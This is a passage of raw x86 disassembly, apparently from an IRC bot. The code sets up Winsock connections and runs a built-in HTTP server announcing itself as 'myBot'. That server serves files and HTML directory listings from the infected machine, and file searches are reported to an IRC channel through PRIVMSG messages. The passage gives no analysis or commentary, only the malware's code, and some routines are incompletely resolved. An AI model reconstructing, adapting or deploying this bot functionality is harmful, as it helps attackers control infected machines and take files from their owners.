dd 0F920B5FFh, 0ABE8FFFFh, 83FFFF9Fh, 4AE814C4h, 83000001h
dd 850F01F8h, 93h, 68176A56h, 433FC8h, 0FF0875FFh, 0B4458DD3h
dd 20858D50h, 68FFFFF7h, 433F94h, 0C71CE850h, 0C4830000h
dd 0BCB5390Ch, 75FFFFFBh, 858D5623h, 0FFFFF720h, 0FBB8B5FFh
dd 8D50FFFFh, 0FFFB3885h, 0B5FF50FFh, 0FFFFF920h, 0FF9F4DE8h
dd 14C483FFh, 0F720858Dh, 0E850FFFFh, 63CAh, 0BE1005FFh
dd 0EB59004Ch, 206A562Eh, 433F7068h, 8D1FEB00h, 0FFFF5085h
dd 0CD2C68FFh, 0E8500042h, 0CE98h, 59C08559h, 6A560D75h
dd 3F54681Bh, 75FF0043h, 6AD3FF08h, 60858D64h, 56FFFFFDh
dd 0C3A6E850h, 7D8B0000h, 0CC48308h, 0FC7D3B47h, 0F087D89h
dd 0FFFB1C8Eh, 0FADCE9FFh, 16AFFFFh, 5B5E5F58h, 4C2C9h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp-1A0h]
push eax
push 101h
call near ptr 71AB41DAh
nop
push 0
push 1
push 2
call near ptr 71AB3C22h
nop
push dword ptr [ebp+8]
mov dword_4CC05C, eax
mov word ptr [ebp-10h], 2
nop
call near ptr 71AB12F8h
push dword ptr [ebp+0Ch]
mov [ebp-0Ch], eax
nop
call near ptr 71AB1746h
mov [ebp-0Eh], ax
lea eax, [ebp-10h]
push 10h
push eax
push dword_4CC05C
nop
call near ptr 71AB3E5Dh
cmp eax, 0FFFFFFFFh
jnz short loc_40FA04
push dword_4CC05C
nop
call near ptr 71AB1A6Dh
nop
call near ptr 71AB1836h
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40FA04: ; CODE XREF: ___:0040F9ECj
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp-104h]
push 104h
push eax
push 0
call near ptr 2670000h
nop
lea eax, [ebp-104h]
push offset dword_429068
push eax
call sub_41BC88
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40FAA0
test byte ptr [esi+0Ch], 10h
jnz short loc_40FA84
push edi
mov edi, 400h
loc_40FA4C: ; CODE XREF: ___:0040FA81j
push esi
push 1
lea eax, [ebp-504h]
push edi
push eax
call sub_41BA60
add esp, 10h
lea eax, [ebp-504h]
push 0
push edi
push eax
push dword_4CC05C
nop
call near ptr 71AB1AF4h
push 1
call near ptr 268051Bh
nop
test byte ptr [esi+0Ch], 10h
jz short loc_40FA4C
pop edi
loc_40FA84: ; CODE XREF: ___:0040FA44j
push esi
call sub_41B9DB
pop ecx
push dword_4CC05C
call near ptr 71AB1A6Dh
nop
call near ptr 71AB1836h
nop
push 1
pop eax
loc_40FAA0: ; CODE XREF: ___:0040FA3Ej
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FAA3 proc near ; DATA XREF: sub_401AC7+2216o
; sub_40BD7C+475o
var_28F0 = byte ptr -28F0h
var_18F0 = byte ptr -18F0h
var_8F0 = byte ptr -8F0h
var_6F0 = byte ptr -6F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_34 = byte ptr -34h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call sub_41C2A0
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
push 1
rep movsd
pop esi
xor ebx, ebx
mov [eax+3ACh], esi
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
mov [ebp+var_14], esi
call sub_41BD10
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+var_25C]
call dword_4C9304
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call dword_4C9384
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_C], edi
jz loc_40FE8E
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov dword_43C24C[eax], edi
lea eax, [ebp+var_24]
push eax
push edi
call dword_4C9330
cmp eax, 0FFFFFFFFh
jz loc_40FE8E
push 7FFFFFFFh
push edi
call dword_4C932C
cmp eax, 0FFFFFFFFh
jz loc_40FE8E
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call dword_4C93A0
cmp eax, 0FFFFFFFFh
jz loc_40FE8E
mov ebx, esi
mov [ebp+var_134], edi
mov [ebp+var_138], ebx
mov [ebp+var_8], edi
loc_40FB7A: ; CODE XREF: sub_40FAA3+3E1j
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_138]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_8]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call dword_4C92EC
cmp eax, 0FFFFFFFFh
jz loc_40FE89
xor esi, esi
mov [ebp+var_4], esi
loc_40FBB0: ; CODE XREF: sub_40FAA3+3DBj
lea eax, [ebp+var_6F0]
push eax
push esi
call dword_4C91F0
test eax, eax
jz loc_40FE74
cmp esi, [ebp+var_C]
jnz short loc_40FC32
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+var_C]
call dword_4C9398
cmp eax, 0FFFFFFFFh
jz loc_40FE74
xor ecx, ecx
test ebx, ebx
jbe short loc_40FC04
lea edx, [ebp+var_134]
loc_40FBF8: ; CODE XREF: sub_40FAA3+15Fj
cmp [edx], eax
jz short loc_40FC04
inc ecx
add edx, 4
cmp ecx, ebx
jb short loc_40FBF8
loc_40FC04: ; CODE XREF: sub_40FAA3+14Dj
; sub_40FAA3+157j
cmp ecx, ebx
jnz short loc_40FC21
cmp ebx, 40h
jnb short loc_40FC21
mov [ebp+ecx*4+var_134], eax
mov ebx, [ebp+var_138]
inc ebx
mov [ebp+var_138], ebx
loc_40FC21: ; CODE XREF: sub_40FAA3+163j
; sub_40FAA3+168j
cmp eax, [ebp+var_8]
jbe loc_40FE74
mov [ebp+var_8], eax
jmp loc_40FE74
; ---------------------------------------------------------------------------
loc_40FC32: ; CODE XREF: sub_40FAA3+126j
mov edi, 1000h
lea eax, [ebp+var_28F0]
push edi
push 0
push eax
call sub_41BD10
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41BD10
add esp, 18h
lea eax, [ebp+var_28F0]
push 0
push edi
push eax
push esi
call dword_4C931C
test eax, eax
jg short loc_40FCC5
push esi
call dword_4C939C
xor ecx, ecx
test ebx, ebx
jbe loc_40FE74
lea eax, [ebp+var_134]
loc_40FC84: ; CODE XREF: sub_40FAA3+1EBj
cmp [eax], esi
jz short loc_40FC95
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40FC84
jmp loc_40FE74
; ---------------------------------------------------------------------------
loc_40FC95: ; CODE XREF: sub_40FAA3+1E3j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40FCB9
lea eax, [ebp+ecx*4+var_134]
loc_40FCA3: ; CODE XREF: sub_40FAA3+214j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40FCA3
loc_40FCB9: ; CODE XREF: sub_40FAA3+1F7j
dec ebx
mov [ebp+var_138], ebx
jmp loc_40FE74
; ---------------------------------------------------------------------------
loc_40FCC5: ; CODE XREF: sub_40FAA3+1C8j
xor esi, esi
push 104h
lea eax, [ebp+var_23C]
push esi
push eax
call sub_41BD10
lea eax, [ebp+var_28F0]
mov [ebp+arg_0], esi
push eax
call sub_41B960
add esp, 10h
test eax, eax
jbe loc_40FE74
loc_40FCF3: ; CODE XREF: sub_40FAA3+309j
mov eax, [ebp+arg_0]
mov al, [ebp+eax+var_28F0]
cmp al, 0Ah
mov [ebp+esi+var_18F0], al
jnz loc_40FD98
mov esi, offset aGet_0 ; "GET "
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_41C080
pop ecx
test eax, eax
pop ecx
jz short loc_40FD6C
lea eax, [ebp+var_18F0]
push eax
call sub_41B960
cmp eax, 5
pop ecx
jbe short loc_40FD6C
mov eax, offset asc_42CDCC ; " "
push eax
push eax
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_41C080
pop ecx
pop ecx
push eax
call sub_41C080
pop ecx
pop ecx
push eax
call sub_41C864
push eax
lea eax, [ebp+var_23C]
push eax
call sub_41C620
add esp, 10h
jmp short loc_40FD83
; ---------------------------------------------------------------------------
loc_40FD6C: ; CODE XREF: sub_40FAA3+27Fj
; sub_40FAA3+291j
lea eax, [ebp+var_18F0]
push offset asc_4341E4 ; "\r\n"
push eax
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz short loc_40FDB7
loc_40FD83: ; CODE XREF: sub_40FAA3+2C7j
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_41BD10
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_40FD98: ; CODE XREF: sub_40FAA3+263j
inc [ebp+arg_0]
lea eax, [ebp+var_28F0]
push eax
inc esi
call sub_41B960
cmp [ebp+arg_0], eax
pop ecx
jb loc_40FCF3
jmp loc_40FE74
; ---------------------------------------------------------------------------
loc_40FDB7: ; CODE XREF: sub_40FAA3+2DEj
xor ecx, ecx
test ebx, ebx
jbe short loc_40FE01
lea eax, [ebp+var_134]
loc_40FDC3: ; CODE XREF: sub_40FAA3+32Dj
mov esi, [ebp+var_4]
cmp [eax], esi
jz short loc_40FDD4
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_40FDC3
jmp short loc_40FE04
; ---------------------------------------------------------------------------
loc_40FDD4: ; CODE XREF: sub_40FAA3+325j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_40FDF8
lea eax, [ebp+ecx*4+var_134]
loc_40FDE2: ; CODE XREF: sub_40FAA3+353j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_40FDE2
loc_40FDF8: ; CODE XREF: sub_40FAA3+336j
dec ebx
mov [ebp+var_138], ebx
jmp short loc_40FE04
; ---------------------------------------------------------------------------
loc_40FE01: ; CODE XREF: sub_40FAA3+318j
mov esi, [ebp+var_4]
loc_40FE04: ; CODE XREF: sub_40FAA3+32Fj
; sub_40FAA3+35Cj
lea eax, [ebp+var_23C]
test eax, eax
jz short loc_40FE6D
lea eax, [ebp+var_360]
push eax
call sub_41B960
mov edi, eax
lea eax, [ebp+var_23C]
push eax
call sub_41B960
add edi, eax
pop ecx
cmp edi, 104h
pop ecx
jnb short loc_40FE6D
and [ebp+arg_0], 0
lea eax, [ebp+arg_0]
push eax
push 8004667Eh
push esi
call dword_4C93A0
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push esi
call sub_410080
add esp, 14h
jmp short loc_40FE74
; ---------------------------------------------------------------------------
loc_40FE6D: ; CODE XREF: sub_40FAA3+369j
; sub_40FAA3+38Fj
push esi
call dword_4C939C
loc_40FE74: ; CODE XREF: sub_40FAA3+11Dj
; sub_40FAA3+143j ...
mov esi, [ebp+var_4]
inc esi
cmp esi, [ebp+var_8]
mov [ebp+var_4], esi
jbe loc_40FBB0
jmp loc_40FB7A
; ---------------------------------------------------------------------------
loc_40FE89: ; CODE XREF: sub_40FAA3+102j
mov edi, [ebp+var_C]
xor ebx, ebx
loc_40FE8E: ; CODE XREF: sub_40FAA3+6Aj
; sub_40FAA3+92j ...
call dword_4C9298
push eax
lea eax, [ebp+var_8F0]
push offset unk_4341BC
push eax
call sub_41C006
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_40FED4
push ebx
lea eax, [ebp+var_8F0]
push [ebp+var_250]
push eax
lea eax, [ebp+var_5E8]
push eax
push [ebp+var_5EC]
call sub_409862
add esp, 14h
loc_40FED4: ; CODE XREF: sub_40FAA3+40Cj
lea eax, [ebp+var_8F0]
push eax
call sub_415CEE
pop ecx
push edi
call dword_4C939C
push [ebp+var_254]
call sub_40B6C9
pop ecx
push ebx
nop
call near ptr 26F0000h
pop edi
pop esi
pop ebx
sub_40FAA3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FEFE proc near ; DATA XREF: sub_410080+246o
var_1654 = byte ptr -1654h
var_654 = byte ptr -654h
var_550 = byte ptr -550h
var_44C = dword ptr -44Ch
var_3C8 = byte ptr -3C8h
var_2C4 = byte ptr -2C4h
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_A4 = dword ptr -0A4h
var_9C = byte ptr -9Ch
var_68 = byte ptr -68h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1654h
call sub_41C2A0
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_44C]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp+var_3C8]
push eax
lea eax, [ebp+var_550]
push eax
call sub_41C006
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_654]
push eax
call sub_41C006
xor edi, edi
add esp, 10h
cmp [ebp+var_A4], edi
jz short loc_40FF63
push offset aTextHtml ; "text/html"
jmp short loc_40FF68
; ---------------------------------------------------------------------------
loc_40FF63: ; CODE XREF: sub_40FEFE+5Cj
push offset aApplicationOct ; "application/octet-stream"
loc_40FF68: ; CODE XREF: sub_40FEFE+63j
lea eax, [ebp+var_9C]
push eax
call sub_41C006
pop ecx
lea eax, [ebp+var_68]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
nop
call near ptr 2760000h
lea eax, [ebp+var_20]
push 1Eh
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
call near ptr 27514C3h
nop
lea eax, [ebp+var_20]
cmp [ebp+var_B8], 0FFFFFFFFh
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
jnz short loc_40FFE1
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41C006
add esp, 24h
jmp short loc_410002
; ---------------------------------------------------------------------------
loc_40FFE1: ; CODE XREF: sub_40FEFE+C4j
push [ebp+var_B8]
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_41C006
add esp, 28h
loc_410002: ; CODE XREF: sub_40FEFE+E1j
lea eax, [ebp+var_1654]
push edi
push eax
call sub_41B960
pop ecx
push eax
lea eax, [ebp+var_1654]
push eax
push [ebp+var_44C]
call dword_4C9354
cmp [ebp+var_A4], edi
jnz short loc_410042
lea eax, [ebp+var_550]
push eax
push [ebp+var_44C]
call sub_4109B2
pop ecx
pop ecx
jmp short loc_41005F
; ---------------------------------------------------------------------------
loc_410042: ; CODE XREF: sub_40FEFE+12Cj
lea eax, [ebp+var_654]
push eax
push edi
loc_41004A: ; DATA XREF: ___:00437DD0o
; ___:00437DE4o
push [ebp+var_44C]
lea eax, [ebp+var_550]
push eax
call sub_410330
add esp, 10h
loc_41005F: ; CODE XREF: sub_40FEFE+142j
push [ebp+var_44C]
call dword_4C939C
push [ebp+var_B4]
call sub_40B6C9
pop ecx
push edi
nop
call near ptr 26F0000h
pop edi
pop esi
sub_40FEFE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410080 proc near ; CODE XREF: sub_40FAA3+3C0p
var_8C4 = byte ptr -8C4h
var_6C4 = dword ptr -6C4h
var_640 = byte ptr -640h
var_53C = byte ptr -53Ch
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = byte ptr -314h
var_211 = byte ptr -211h
var_210 = byte ptr -210h
var_10C = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h
lea eax, [ebp+var_210]
push edi
push eax
mov [ebp+var_4], edi
call sub_41BD10
mov eax, [ebp+arg_8]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
jz short loc_4100B6
push eax
push offset aS_3 ; "\\%s"
jmp short loc_4100BF
; ---------------------------------------------------------------------------
loc_4100B6: ; CODE XREF: sub_410080+2Cj
push eax
mov byte ptr [eax], 5Ch
push offset aS_1 ; "%s"
loc_4100BF: ; CODE XREF: sub_410080+34j
lea eax, [ebp+var_10C]
push eax
call sub_41C006
add esp, 0Ch
lea eax, [ebp+var_10C]
xor esi, esi
xor ebx, ebx
push eax
call sub_41B960
test eax, eax
pop ecx
jbe short loc_41015A
mov [ebp+arg_8], 2
loc_4100EA: ; CODE XREF: sub_410080+D8j
lea eax, [ebp+var_10C]
push eax
call sub_41B960
cmp [ebp+arg_8], eax
pop ecx
jnb short loc_41012A
cmp [ebp+esi+var_10C], 25h
jnz short loc_41012A
cmp [ebp+esi+var_10B], 32h
jnz short loc_41012A
cmp [ebp+esi+var_10A], 30h
jnz short loc_41012A
inc esi
mov [ebp+ebx+var_210], 20h
inc esi
add [ebp+arg_8], 2
jmp short loc_410144
; ---------------------------------------------------------------------------
loc_41012A: ; CODE XREF: sub_410080+7Aj
; sub_410080+84j ...
mov al, [ebp+esi+var_10C]
cmp al, 2Fh
jnz short loc_41013A
push 5Ch
pop eax
jmp short loc_41013D
; ---------------------------------------------------------------------------
loc_41013A: ; CODE XREF: sub_410080+B3j
movsx eax, al
loc_41013D: ; CODE XREF: sub_410080+B8j
mov [ebp+ebx+var_210], al
loc_410144: ; CODE XREF: sub_410080+A8j
lea eax, [ebp+var_10C]
inc esi
inc [ebp+arg_8]
push eax
inc ebx
call sub_41B960
cmp esi, eax
pop ecx
jb short loc_4100EA
loc_41015A: ; CODE XREF: sub_410080+61j
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_314]
push [ebp+arg_4]
push offset dword_429ACC
push eax
call sub_41C006
lea eax, [ebp+var_314]
push offset asc_42A084 ; "\n"
push eax
call sub_41C864
add esp, 18h
lea eax, [ebp+var_314]
push eax
call near ptr 269058Ah
nop
push 1
cmp eax, 10h
pop esi
jz short loc_4101A8
cmp eax, 0FFFFFFFFh
jnz short loc_4101AB
push [ebp+arg_0]
jmp short loc_410227
; ---------------------------------------------------------------------------
loc_4101A8: ; CODE XREF: sub_410080+11Cj
mov [ebp+var_4], esi
loc_4101AB: ; CODE XREF: sub_410080+121j
cmp [ebp+ebx+var_211], 5Ch
jnz short loc_4101B8
mov [ebp+var_4], esi
loc_4101B8: ; CODE XREF: sub_410080+133j
mov ebx, [ebp+arg_0]
cmp [ebp+var_4], edi
mov [ebp+var_6C4], ebx
mov [ebp+var_318], edi
jz short loc_410232
cmp [ebp+arg_C], edi
jz short loc_410226
lea eax, [ebp+var_314]
push offset asc_434470 ; "*"
push eax
call sub_41C630
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_41C006
lea eax, [ebp+var_210]
push eax
call sub_410A6F
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_53C]
push eax
call sub_41C006
add esp, 1Ch
or [ebp+var_330], 0FFFFFFFFh
mov [ebp+var_31C], esi
jmp short loc_410281
; ---------------------------------------------------------------------------
loc_410226: ; CODE XREF: sub_410080+14Fj
push ebx
loc_410227: ; CODE XREF: sub_410080+126j
call dword_4C939C
jmp loc_410329
; ---------------------------------------------------------------------------
loc_410232: ; CODE XREF: sub_410080+14Aj
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp+var_314]
push 80000000h
push eax
call near ptr 27306D8h
nop
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_410281
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_41C006
pop ecx
mov [ebp+var_31C], edi
pop ecx
push edi
push esi
nop
call near ptr 2760AD0h
push esi
mov [ebp+var_330], eax
nop
call near ptr 2660000h
loc_410281: ; CODE XREF: sub_410080+1A4j
; sub_410080+1CFj
mov esi, [ebp+arg_10]
lea eax, [ebp+var_8C4]
push esi
push offset unk_43443C
push eax
call sub_41C006
push edi
lea eax, [ebp+var_8C4]
push 3
push eax
call sub_40B3AD
mov [ebp+var_32C], eax
imul eax, 234h
add esp, 18h
mov dword_43C244[eax], esi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_6C4]
push edi
push eax
push offset sub_40FEFE
push edi
push edi
nop
call near ptr 26805C5h
mov ecx, [ebp+var_32C]
imul ecx, 234h
cmp eax, edi
mov dword_43C254[ecx], eax
jz short loc_4102FB
loc_4102E9: ; CODE XREF: sub_410080+279j
cmp [ebp+var_318], edi
jnz short loc_410329
push 5
nop
call near ptr 268051Bh
jmp short loc_4102E9
; ---------------------------------------------------------------------------
loc_4102FB: ; CODE XREF: sub_410080+267j
push ebx
call dword_4C939C
nop
call near ptr 2680DCDh
push eax
lea eax, [ebp+var_8C4]
push offset unk_434404
push eax
call sub_41C006
lea eax, [ebp+var_8C4]
push eax
call sub_415CEE
add esp, 10h
loc_410329: ; CODE XREF: sub_410080+1ADj
; sub_410080+26Fj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_410080 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410330 proc near ; CODE XREF: sub_401AC7+7604p
; sub_40FEFE+159p
var_594 = byte ptr -594h
var_490 = byte ptr -490h
var_388 = dword ptr -388h
var_374 = byte ptr -374h
var_368 = dword ptr -368h
var_35C = byte ptr -35Ch
var_248 = byte ptr -248h
var_48 = byte ptr -48h
var_20 = byte ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h
lea eax, [ebp+var_594]
push ebx
push eax
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call sub_41BD10
mov edi, [ebp+arg_0]
push offset asc_42A084 ; "\n"
push edi
call sub_41C864
add esp, 14h
cmp [ebp+arg_8], ebx
jz short loc_41038F
push edi
mov esi, 200h
push [ebp+arg_8]
lea eax, [ebp+var_248]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi
push eax
call sub_41C100
add esp, 14h
jmp loc_41048C
; ---------------------------------------------------------------------------
loc_41038F: ; CODE XREF: sub_410330+3Aj
cmp [ebp+arg_C], ebx
push edi
jz loc_410472
call sub_41B960
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C100
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B960
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4C9354
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C100
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B960
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4C9354
push edi
call sub_41B960
push 3Ch
push 96h
mov byte ptr [eax+edi], 2Ah
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C100
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B960
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4C9354
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C100
add esp, 0Ch
jmp short loc_41048C
; ---------------------------------------------------------------------------
loc_410472: ; CODE XREF: sub_410330+63j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C100
add esp, 10h
loc_41048C: ; CODE XREF: sub_410330+5Aj
; sub_410330+140j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B960
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4C9354
cmp [ebp+arg_C], ebx
jz short loc_410524
push [ebp+arg_C]
call sub_41B960
cmp eax, 2
pop ecx
jbe short loc_410524
push [ebp+arg_C]
call sub_41B960
sub eax, 3
pop ecx
jz short loc_4104D8
loc_4104CC: ; CODE XREF: sub_410330+1A6j
mov ecx, [ebp+arg_C]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_4104D8
dec eax
jnz short loc_4104CC
loc_4104D8: ; CODE XREF: sub_410330+19Aj
; sub_410330+1A3j
inc eax
push eax
lea eax, [ebp+var_594]
push [ebp+arg_C]
push eax
call sub_41BD70
lea eax, [ebp+var_594]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41C100
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B960
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4C9354
loc_410524: ; CODE XREF: sub_410330+17Ej
; sub_410330+18Cj
lea eax, [ebp+var_388]
push eax
push edi
call near ptr 2790000h
nop
lea ecx, [ebp+var_388]
mov [ebp+arg_0], eax
push ecx
push eax
call near ptr 2780000h
nop
test eax, eax
jz loc_410915
mov edi, 1FFh
loc_410550: ; CODE XREF: sub_410330+5DFj
cmp [ebp+var_388], ebx
jz loc_4108FD
lea eax, [ebp+var_35C]
push offset a__ ; ".."
push eax
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4108FD
lea eax, [ebp+var_35C]
push offset a_ ; "."
push eax
call sub_41C7E0
pop ecx
test eax, eax
pop ecx
jz loc_4108FD
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_374]
push eax
nop
call near ptr 2770503h
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
call near ptr 2770000h
nop
mov ax, [ebp+var_10]
mov ecx, offset aPm ; "PM"
cmp ax, 0Ch
ja short loc_4105C5
mov ecx, offset aAm ; "AM"
loc_4105C5: ; CODE XREF: sub_410330+28Ej
cmp ax, 0Ch
movzx eax, ax
jbe short loc_4105D1
sub eax, 0Ch
loc_4105D1: ; CODE XREF: sub_410330+29Cj
push ecx
movzx ecx, [ebp+var_E]
push ecx
push eax
movzx eax, [ebp+var_18]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_16]
push eax
lea eax, [ebp+var_48]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax
call sub_41C006
add esp, 20h
test byte ptr [ebp+var_388], 10h
jz loc_41077E
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_410652
lea eax, [ebp+var_35C]
push eax
push offset aS ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41C100
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
push esi
push eax
call sub_41C100
add esp, 28h
jmp loc_4108CE
; ---------------------------------------------------------------------------
loc_410652: ; CODE XREF: sub_410330+2DBj
cmp [ebp+arg_C], ebx
jz loc_41073C
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41C100
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B960
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_4C9354
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_0 ; "%s%s/"
push edi
push eax
call sub_41C100
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_41B960
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
